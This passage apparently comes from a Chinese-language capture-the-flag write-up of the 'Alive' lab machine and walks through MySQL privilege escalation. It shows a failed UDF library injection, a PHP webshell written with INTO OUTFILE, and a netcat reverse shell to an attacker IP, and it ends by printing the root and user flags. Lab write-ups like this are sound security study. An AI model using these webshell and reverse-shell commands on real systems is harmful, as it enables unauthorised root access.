\u56e0\u4e3a\u6211\u4eec\u62e5\u6709\u9ad8\u6743\u9650\u7684mysql\u7528\u6237\uff0c\u6240\u4ee5\u53ef\u4ee5\u8fdb\u884c\u5c1d\u8bd5\uff0c\u5148\u770b\u4e00\u4e0b\u662f\u5426\u5177\u6709\u76f8\u5173\u6743\u9650\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/$ mysql -u root -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 15\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> use mysql;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [mysql]> show variables like "%secure_file_priv%";\n+------------------+-------+\n| Variable_name | Value |\n+------------------+-------+\n| secure_file_priv | |\n+------------------+-------+\n1 row in set (0.001 sec)<\/code><\/pre>\n\u53d1\u73b0\u6ca1\u6709\u9650\u5236\uff0c\u53ef\u4ee5\u8fdb\u884c\u63d0\u6743\uff01<\/p>\n
\necure_file_priv<\/code>\u662f\u7528\u6765\u9650\u5236load dumpfile<\/code>\u3001into outfile<\/code>\u3001load_file()<\/code> \u51fd\u6570\u5728\u54ea\u4e2a\u76ee\u5f55\u4e0b\u62e5\u6709\u4e0a\u4f20\u6216\u8005\u8bfb\u53d6\u6587\u4ef6\u7684\u6743\u9650\u3002<\/p>\n\u5f53 secure_file_priv<\/code> \u7684\u503c\u4e3a null<\/code> \uff0c\u8868\u793a\u9650\u5236 mysql<\/code> \u4e0d\u5141\u8bb8\u5bfc\u5165\/\u5bfc\u51fa\uff0c\u6b64\u65f6\u65e0\u6cd5\u63d0\u6743\u3002<\/p>\n\u5f53 secure_file_priv<\/code> \u7684\u503c\u4e3a \/tmp\/<\/code> \uff0c\u8868\u793a\u9650\u5236 mysql<\/code> \u7684\u5bfc\u5165\/\u5bfc\u51fa\u53ea\u80fd\u53d1\u751f\u5728 \/tmp\/<\/code> \u76ee\u5f55\u4e0b\uff0c\u6b64\u65f6\u4e5f\u65e0\u6cd5\u63d0\u6743\u3002<\/p>\n\u5f53secure_file_priv<\/code> \u7684\u503c\u6ca1\u6709\u5177\u4f53\u503c\u65f6\uff0c\u8868\u793a\u4e0d\u5bf9 mysqld<\/code> \u7684\u5bfc\u5165\/\u5bfc\u51fa\u505a\u9650\u5236\uff0c\u6b64\u65f6\u53ef\u63d0\u6743\u3002<\/p>\n<\/blockquote>\n\u67e5\u770b\u4e00\u4e0bplugin<\/code><\/p>\nMariaDB [mysql]> select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);\n+-----------+------+-----------------------+\n| host | user | plugin |\n+-----------+------+-----------------------+\n| localhost | root | mysql_native_password |\n| 127.0.0.1 | root | |\n| ::1 | root | |\n+-----------+------+-----------------------+\n3 rows in set (0.000 sec)<\/code><\/pre>\n\nplugin\u503c\u8868\u793amysql\u7528\u6237\u7684\u8ba4\u8bc1\u65b9\u5f0f\u3002\u5f53 plugin \u7684\u503c\u4e3a\u7a7a\u65f6\u4e0d\u53ef\u63d0\u6743\uff0c\u4e3a mysql_native_password<\/code> \u65f6\u53ef\u901a\u8fc7\u8d26\u6237\u8fde\u63a5\u63d0\u6743\u3002\u9ed8\u8ba4\u4e3amysql_native_password<\/code>\u3002\u53e6\u5916\uff0cmysql\u7528\u6237\u8fd8\u9700\u5bf9\u6b64plugin\u76ee\u5f55\u5177\u6709\u5199\u6743\u9650\u3002<\/p>\n<\/blockquote>\n\u53ef\u4ee5\u53c2\u8003https:\/\/book.hacktricks.xyz\/network-services-pentesting\/pentesting-mysql#privilege-escalation-via-library<\/p>\n
(remote) www-data@alive.hmv:\/$ uname -a\nLinux alive.hmv 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 GNU\/Linux\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ locate "*lib_mysqludf_sys*" \n\n\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_32.dll\n\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_32.so\n\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_64.dll\n\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_64.so\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/linux\/32\/lib_mysqludf_sys.so_\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/linux\/64\/lib_mysqludf_sys.so_\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/windows\/32\/lib_mysqludf_sys.dll_\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/windows\/64\/lib_mysqludf_sys.dll_\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ cp \/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_64.so .\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ ls -la \ntotal 28\ndrwxr-xr-x 2 kali kali 4096 Apr 23 07:27 .\ndrwxr-xr-x 65 kali kali 4096 Apr 23 06:16 ..\n-rw-r--r-- 1 kali kali 35 Apr 23 06:46 hash.txt\n-rw-r--r-- 1 kali kali 8040 Apr 23 07:27 lib_mysqludf_sys_64.so\n-rw-r--r-- 1 kali kali 3911 Apr 23 06:28 revershell.php\n-rw-r--r-- 1 kali kali 6 Apr 23 06:30 test<\/code><\/pre>\n\u7136\u540e\u7a7f\u8fc7\u6765\uff1a<\/p>\n
# kali\npython3 -m http.server 8888<\/code><\/pre>\n# attacked\ncd \/tmp\nwget http:\/\/192.168.0.143:8888\/lib_mysqludf_sys_64.so<\/code><\/pre>\n\u7136\u540e\u5c1d\u8bd5udf\u63d0\u6743\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ mysql -u root -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 16\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> use mysql;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [mysql]> create table npn(line blob);\nQuery OK, 0 rows affected (0.004 sec)\n\nMariaDB [mysql]> insert into npn values(load_file('\/tmp\/lib_mysqludf_sys64.so'));\nQuery OK, 1 row affected (0.001 sec)\n\nMariaDB [mysql]> show variables like '%plugin%';\n+-----------------+------------------------------+\n| Variable_name | Value |\n+-----------------+------------------------------+\n| plugin_dir | \/usr\/local\/mysql\/lib\/plugin\/ |\n| plugin_maturity | gamma |\n+-----------------+------------------------------+\n2 rows in set (0.001 sec)\n\nMariaDB [mysql]> select * from npn into dumpfile '\/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys64.so';\nQuery OK, 1 row affected (0.000 sec)\n\nMariaDB [mysql]> create function sys_exec returns integer soname 'lib_mysqludf_sys64.so';\nERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys64.so' (errno: 11, file too short)<\/code><\/pre>\n\u989d\uff0c\u5bfb\u627e\u89e3\u51b3\u529e\u6cd5\uff1a<\/p>\n
<\/div><\/p>\n\u989d\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ cp \/tmp\/lib_mysqludf_sys_64.so \/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys_64.so\ncp: cannot create regular file '\/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys_64.so': Permission denied<\/code><\/pre>\n\u6de6\uff0c\u8fd9\u4e0d\u5c31\u592d\u6298\u4e86\u3002\u3002\u3002\u4e14\u6162\uff0c\u518d\u8bd5\u4e00\u4e0bmysql\uff01\uff01\u4e5f\u4e0d\u884c\u3002\u3002\u3002<\/p>\n
\u96be\u9053\u662f\u6587\u4ef6\u51fa\u9519\u4e86\uff1f\u6362\u4e00\u4e2a\u3002\u3002\u3002\u3002<\/p>\n
-rw-rw-rw- 1 root root 1 Apr 23 13:31 lib_mysqludf_sys64.so<\/code><\/pre>\n\u6de6\uff0c\u771f\u6709\u95ee\u9898\uff0c\u91cd\u65b0\u6765\uff01<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ ls -l \/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys.so\n-rw-rw-rw- 1 root root 2 Apr 23 13:57 \/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys.so<\/code><\/pre>\n\u591a\u756a\u5c1d\u8bd5\u65e0\u679c\uff0c\u9042\u6362\u65b9\u6848 :\uff09<\/p>\n
\u65b9\u6cd5\u4e8c\uff1awebshell<\/h3>\n(remote) www-data@alive.hmv:\/tmp$ mysql -u root -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 23\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> select "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE '\/opt\/shell.php'\n -> ;\nQuery OK, 1 row affected (0.015 sec)\n\nMariaDB [(none)]> exit\nBye<\/code><\/pre>\n\u5c1d\u8bd5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff01<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ curl 127.0.0.1:8000\/shell.php?cmd=whoami\nroot<\/code><\/pre>\n\u53cd\u5f39shell\u5373\u53ef\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ curl 127.0.0.1:8000\/shell.php?cmd=nc%20-e%20\/bin\/bash%20192.168.0.143%202345<\/code><\/pre>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ nc -lvnp 2345 \nlistening on [any] 2345 ...\nconnect to [192.168.0.143] from (UNKNOWN) [192.168.0.149] 38748\nwhoami;id\nroot\nuid=0(root) gid=0(root) groupes=0(root)\ncd \/root\nscript \/dev\/null -c bash\nScript d\u00e9marr\u00e9, le fichier journal de sortie est \u00ab \/dev\/null \u00bb.\nroot@alive:~# ls -la\nls -la\ntotal 32\ndrwx------. 5 root root 4096 28 janv. 2023 .\ndrwxr-xr-x. 18 root root 4096 17 janv. 2023 ..\nlrwxrwxrwx 1 root root 9 28 janv. 2023 .bash_history -> \/dev\/null\n-rw-r--r--. 1 root root 572 26 janv. 2023 .bashrc\ndrwxr-xr-x. 4 root root 4096 17 janv. 2023 .config\ndrwxr-xr-x. 3 root root 4096 11 janv. 2023 .local\n-rw-r--r--. 1 root root 161 9 juil. 2019 .profile\n-rwx------. 1 root root 33 14 janv. 2023 root.txt\ndrwx------. 2 root root 4096 18 janv. 2023 .ssh\nroot@alive:~# cat root\ncat root.txt \n819be2c3422a6121dac7e8b1da21ce32\nroot@alive:~# cd \/home\ncd \/home\nroot@alive:\/home# ls\nls\nalexandra\nroot@alive:\/home# cd al\ncd alexandra\/\nroot@alive:\/home\/alexandra# ls -la\nls -la\ntotal 32\ndrwxr-xr-x. 4 alexandra alexandra 4096 28 janv. 2023 .\ndrwxr-xr-x. 3 root root 4096 11 janv. 2023 ..\nlrwxrwxrwx 1 root root 9 28 janv. 2023 .bash_history -> \/dev\/null\n-rw-r--r--. 1 alexandra alexandra 220 11 janv. 2023 .bash_logout\n-rw-r--r--. 1 alexandra alexandra 3526 11 janv. 2023 .bashrc\ndrwxr-xr-x. 3 alexandra alexandra 4096 15 janv. 2023 .local\n-rw-r--r--. 1 alexandra alexandra 807 11 janv. 2023 .profile\ndrwx------. 2 alexandra alexandra 4096 18 janv. 2023 .ssh\n-rwx------. 1 alexandra alexandra 33 14 janv. 2023 user.txt\nroot@alive:\/home\/alexandra# cat user\ncat user.txt \n1637c0ee2d19e925bd6394c847a62ed5<\/code><\/pre>\n\u62ff\u5230rootshell\uff01\uff01\uff01\uff01<\/p>\n
\u65b9\u6cd5\u4e09\uff1a\u6570\u636e\u5e93CVE\u6f0f\u6d1e<\/h3>\n
\u4f5c\u8005\u4f7f\u7528https:\/\/github.com\/Al1ex\/CVE-2021-27928\u8fdb\u884c\u6f0f\u6d1e\u5229\u7528\u83b7\u53d6shell\uff01\u4e0a\u9762\u65b9\u6cd5\u4e00\u6211\u5229\u7528\u4e0d\u6210\u529f\u53ef\u80fd\u662f\u56e0\u4e3a\u7248\u672c\u4e0d\u5bf9\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
Alive \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive] \u2514\u2500$ rusts […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-615","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/615","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=615"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/615\/revisions"}],"predecessor-version":[{"id":617,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/615\/revisions\/617"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=615"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=615"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=615"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20240423181945106\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017446.png\")
<\/div>![\"image-20240423181955554\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017447.png\")
<\/div><\/p>\n![\"image-20240423182233117\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017448.png\")
<\/div><\/p>\n![\"image-20240423182304905\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017449.png\")
<\/div><\/p>\n![\"image-20240423182737749\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017450.png\")
<\/div><\/p>\n![\"image-20240423183419564\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017451.png\")
<\/div><\/p>\n![\"image-20240423183531328\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017452.png\")
<\/div><\/p>\n![\"image-20240423183601344\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017453.png\")
<\/div><\/p>\n![\"image-20240423185336322\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017454.png\")
<\/div><\/p>\n![\"image-20240423194158997\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017456.png\")
<\/div><\/p>\n